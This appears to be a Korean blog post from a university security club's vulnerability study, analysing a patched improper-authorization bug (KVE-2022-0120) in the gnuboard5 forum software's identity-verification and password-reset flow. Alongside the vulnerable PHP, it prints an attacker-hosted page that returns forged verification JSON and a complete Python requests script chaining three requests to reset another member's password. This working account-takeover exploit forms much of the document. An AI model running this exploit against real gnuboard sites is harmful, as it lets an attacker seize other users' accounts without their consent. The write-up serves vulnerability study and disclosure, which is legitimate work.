[gnuboard5] 원데이 취약점 분석 스터디 - 3주차

sani·2022년 10월 15일
0

그누보드 취약점 분석

  • 지난 주차의 내용이 이어짐

취약점

[KVE-2022-0120] 그누보드 부적절한 권한 검증 취약점 수정


취약점 분석

ini_find_result.php

<?php
include_once('./_common.php');

$txId = $_POST['txId'];
$mid  = substr($txId, 6, 10);

if ($_POST["resultCode"] === "0000") { 

    $data = array(
        'mid' => $mid,        
        'txId' => $txId
    );

    $post_data = json_encode($data);

    $ch = curl_init();
    // curl 통신 시작
    curl_setopt($ch, CURLOPT_URL, $_POST["authRequestUrl"]);
    // url 지정
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    // 요청 결과 문자열로 반환
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
    // 타임아웃 10초
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    //post 데이터
    curl_setopt($ch, CURLOPT_POST, 1);
    // true 시 post 전송
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept: application/json', 'Content-Type: application/json'));
    // 헤더값
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    // 원격 서버의 인증서 검사 x
    
    $response = curl_exec($ch);
    curl_close($ch);
    $res_data = json_decode($response, true);

    if($res_data['resultCode'] === "0000") {

        $cert_type      = 'simple';                                 // 인증타입
        $cert_no        = $res_data['txId'];                    // 이니시스 트랜잭션 ID
        $phone_no       = $res_data['userPhone'];               // 전화번호
        $user_name      = $res_data['userName'];                // 이름
        $birth_day      = $res_data['userBirthday'];            // 생년월일
        $ci             = $res_data['userCi'];                  // CI           

        @insert_cert_history($member['mb_id'], 'inicis', $cert_type); // 인증성공 시 내역 기록

        if(!$phone_no)
        alert_close("정상적인 인증이 아닙니다. 올바른 방법으로 이용해 주세요.");

        $md5_ci = md5($ci . $ci);
        $phone_no = hyphen_hp_number($phone_no);
        $mb_dupinfo = $md5_ci;

        $row = sql_fetch("select mb_id from {$g5['member_table']} where mb_id <> '{$member['mb_id']}' and mb_dupinfo = '{$mb_dupinfo}'"); // ci데이터로 찾음
        if(empty($row['mb_id'])) { // ci로 등록된 계정이 없다면
            alert_close("인증하신 정보로 가입된 회원정보가 없습니다.");
            exit;                
        }

        $md5_cert_no = md5($cert_no);
        $hash_data   = md5($user_name.$cert_type.$birth_day.$phone_no.$md5_cert_no);

        // 성인인증결과
        $adult_day = date("Ymd", strtotime("-19 years", G5_SERVER_TIME));
        $adult = ((int)$birth_day <= (int)$adult_day) ? 1 : 0;

        set_session("ss_cert_type",    $cert_type);
        set_session("ss_cert_no",      $md5_cert_no);
        set_session("ss_cert_hash",    $hash_data);
        set_session("ss_cert_adult",   $adult);
        set_session("ss_cert_birth",   $birth_day);
        //set_session("ss_cert_sex",     ($sex_code=="01"?"M":"F")); // 이니시스 간편인증은 성별정보 리턴 없음
        set_session('ss_cert_dupinfo', $mb_dupinfo);
        set_session('ss_cert_mb_id', $row['mb_id']);
    } else {
        // 인증실패 curl의 인증실패 체크
        alert_close('코드 : '.$res_data['resultCode'].'  '.urldecode($res_data['resultMsg']));
        exit;
    }
} else {   // resultCode===0000 아닐경우 아래 인증 실패를 출력함 
    // 인증실패
    alert_close('코드 : '.$_POST['resultCode'].'  '.urldecode($_POST['resultMsg']));
    exit;
}

우선 ini_result_find는 앞의 ini_request 으로 부터
txId, resultCode, authRequestUrl 값을 post 방식으로 받는다.

이때 authRequestUrl 값을 url 이용해 curl 통신을 시작하여 필요한 값을
json 형식으로 받아 오게 되는데,
이때 post 방식으로 받는 값에 아무런 검증이 없어서 curl 통식을 통해 받아오는 값을
공격자가 임의로 조작을 할 수 있다.

이를 이용하여서 ini_find_result.php 에 있는 검증을 우회를 할 것이다.

1. post 값 검증

if ($_POST["resultCode"] === "0000")

resultCode 값이 0000 인지 아닌지 검증하는 부분이다.

이는 resultCode 값을 0000으로 전송하면 우회 할 수 있다.

2. authRequestUrl 값 조작 및 curl 통신 데이터 조작

authRequestUrl 값을 우리가 원하는 url로 curl 통신이 이루어 지도록 조작할 수 있다.

이를 이용하여서 curl 통신을 통하여 원하는 값을 json 값으로 전송하는
페이지를 제작하여서 조작하였다.

제작한 페이지 :

<?php
$payload = array("resultCode" =>'0000', "txId" =>'00000011111', "userName" =>'attack_id', "userPhone" =>'ex', "userBirthday" => 'ex', "userCi" => '2',);
echo json_encode($payload);
    ?>

이때 curl 통신을 통하여 전송하는 값 중 resultCode의 값은 0000으로, userPhone 값은 임의의 값으로 전송 해주어야 하며, userCi 값은 추후에 설명할 내용에 따라 알맞게 전송해주어야 한다.

3. Ci 값 조작

$md5_ci = md5($ci . $ci);
        $phone_no = hyphen_hp_number($phone_no);
        $mb_dupinfo = $md5_ci;
        
$row = sql_fetch("select mb_id from {$g5['member_table']} where mb_id <> '{$member['mb_id']}' and mb_dupinfo = '{$mb_dupinfo}'"); // ci데이터로 찾음
        if(empty($row['mb_id'])) { // ci로 등록된 계정이 없다면
            alert_close("인증하신 정보로 가입된 회원정보가 없습니다.");
            exit;                
        }

위에 내용까지 성공하였다면, 위의 sql 문에서 막히게 된다.

ci 값 2개를 합친 후, 이 값을 md5 처리를 하여서 mb_dupinfo 값에 지정하는데,
mb_dupinfo 값을 sql 문에 삽입하여서 본인이 맞는지 아닌지 확인하는 과정을 거치게 된다.

md5처리를 하기 때문에, sql 인젝션과 같은 우회는 불가능하고, ci 값을 브루트포싱을 통하여
알아내거나 공격대상의 ci 값을 아는 것만이 가능해 보인다.

지금은 바꾸려는 대상의 mb_dupinfo 값을 임의로 '22'를 md5 처리한 값인 'b6d767d2f8ed5d21a44b0e5886680cb9' 으로 설정하였다.

따라서 curl 값을 통해 전송하는 ci 값은 '2'로 설정해야 한다.

추가설명)
Ci란 Connection Information 의 약자로, 연계정보를 의미한다.
Ci는 온라인에서 서로다른 인터넷 업체 간 동일인을 식별하기 위해 사용되며 주민등록번호를 암호화한 88byte 의 정보이다.

password_reset.php

ini_result_find.php의 권한 검증을 우회했다면, 공격할려는 대상의 mb_id 의
session 값이 설정된다.

if(!$_POST['mb_id']) { alert("잘못된 접근입니다."); goto_url(G5_URL); }

password_reset.php은 mb_id 값을 post로 전달받고
존재하지 않으면 접근을 차단하므로 mb_id 값을 post 방식으로 임의의 값을 전송하면 된다.

password_reset_update.php

$mb_id = isset($_SESSION['ss_cert_mb_id']) ? trim(get_session('ss_cert_mb_id')) : '';
$mb_dupinfo = isset($_SESSION['ss_cert_dupinfo']) ? trim(get_session('ss_cert_dupinfo')) : '';

$mb_password    = isset($_POST['mb_password']) ? trim($_POST['mb_password_re']) : '';
$mb_password_re = isset($_POST['mb_password_re']) ? trim($_POST['mb_password_re']) : '';

sql_query("update {$g5['member_table']} set {$sql_password} where mb_id = '{$mb_id}' AND mb_dupinfo = '{$mb_dupinfo}'");

ini_find_result.php 에서 session 값을 설정하였으므로 위의 권한 검증을 통과하게 되고, mb_password 와 mb_password_re 값에 원하는 비밀번호 값을 넣어주면
비밀번호가 변경되게 된다.


페이로드

1. burp suite를 이용한 공격

1. ini_find_result.php

2. password_reset.php

3. password_reset_update.php

2. python을 이용한 공격

python 모듈 중 requests 모듈을 이용하였고,
ini_find_result.php 에서 받은 session 값을 유지하여서
password_reset_update.php에 접속하여야 한다.

import requests

# 본인인증 확인
def first(s,url) :
    data = {
        "mb_id" : "1234"
    }

    res = s.post(f"{url}/bbs/password_reset.php", data = data)

    if res.text.find("이미 로그인중입니다.") != -1 :
        print("세션값 오류")
    if res.text.find("잘못된 접근입니다.") != -1 :
        print("mb_id 값 오류 발생")

# 세션값 받아오기
def second(s,url,f_url) :
    
    data =  {
        "resultCode" : "0000",
        "authRequestUrl" : f_url
    }

    res = s.post(f"{url}/plugin/inicert/ini_find_result.php", data = data)

    if res.text.find("본인인증이 완료되었습니다.") == -1 :
        print("본인인증 오류 발생")
    print("세션 값 받아옴.")

# 세션값 받아와서 비밀번호 변경
def third(s,url,c_password):

    data = {
        "mb_password" : c_password,
        "mb_password_re" : c_password
    }

    res = s.post(f"{url}/bbs/password_reset_update.php", data = data)

    if res.text.find("회원아이디 값이 없습니다. 올바른 방법으로 이용해 주십시오.") != -1 :
        print("세션값 받아오는것 실패")
    if res.text.find("잘못된 접근입니다.") != -1 :
        print("세션값 받아오는것 실패")
    if res.text.find("비밀번호가 넘어오지 않았습니다.") != -1 :
        print("바꿀 비밀번호를 입력하세요")
    print("비밀번호 변경 성공")
    print(f"바뀐 비밀번호 : {c_password}")

if __name__ == "__main__":

    url = "server_url"
    f_url = "fake_url"
    c_password = "change_password"

    s = requests.Session()

    first(s,url)

    second(s,url, f_url)

    third(s,url, c_password)

결과 :

잘 바뀐것을 확인할 수 있다.

profile
창원대학교 보안동아리 CASPER

0개의 댓글